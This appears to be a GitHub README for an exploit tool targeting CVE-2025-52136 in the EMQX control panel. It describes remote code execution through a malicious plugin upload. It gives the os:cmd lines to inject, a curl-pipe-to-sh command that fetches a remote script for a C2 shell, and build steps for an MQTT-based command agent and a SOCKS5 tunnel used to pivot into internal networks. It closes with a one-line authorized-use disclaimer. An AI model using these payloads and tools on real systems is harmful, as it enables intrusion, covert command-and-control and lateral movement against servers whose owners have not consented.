f1r3k0/cve-2025-52136Exploit for CVE-2025-52136 enabling RCE on EMQX control panel via plugin upload, with MQTT-based command agent and SOCKS5 tunnel for out-of-band C2 and network pivoting.
https://github.com/ricardojoserf/emqx-RCE
The original exploitation method uploads an EMQX plugin and adds Erlang os module calls in the plugin template code to execute system commands for RCE.
In an outbound network environment, curl is available by default, so you can directly use curl http://xx.xx.xx.xx/1.sh | sh to get a C2 shell.
When the target has no outbound access, since EMQX itself is an MQTT message server, you can combine it with plugin upload to execute the uploaded executable on the EMQX server. Using EMQX as the MQTT message queue core, the deployed program acts as a "system command proxy": it subscribes to commands sent by clients and publishes the execution results back to a topic.
+-------------+
| Client |
| Send command|
| Topic: rx/cmd|
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| Command proxy|
| Sub rx/cmd |
| Exec sys cmd |
| Pub tx/cmd |
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
Then, following the original author's approach, add three lines to my_emqx_plugin.erl:
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
After compiling the plugin, use any compression tool to place mqtt_agent into the my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\ directory.
Upload the plugin
Then, on the client side, add a subscription to tx/cmd and publish to the topic rx/cmd, and you're ready to go.
Similarly, you can open a tunnel between Client ↔ Agent via MQTT, forwarding TCP data bidirectionally through MQTT to the internal Agent, which then connects to the internal target host to achieve intranet penetration.
This approach has some limitations:
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
The usage is similar to the RCE process described above; here we directly use a local port as a SOCKS5 tunnel to forward traffic.
Compile and use the proxy tunnel yourself.
This tool is intended for use only in authorized environments or test environments. Any illegal use is strictly prohibited.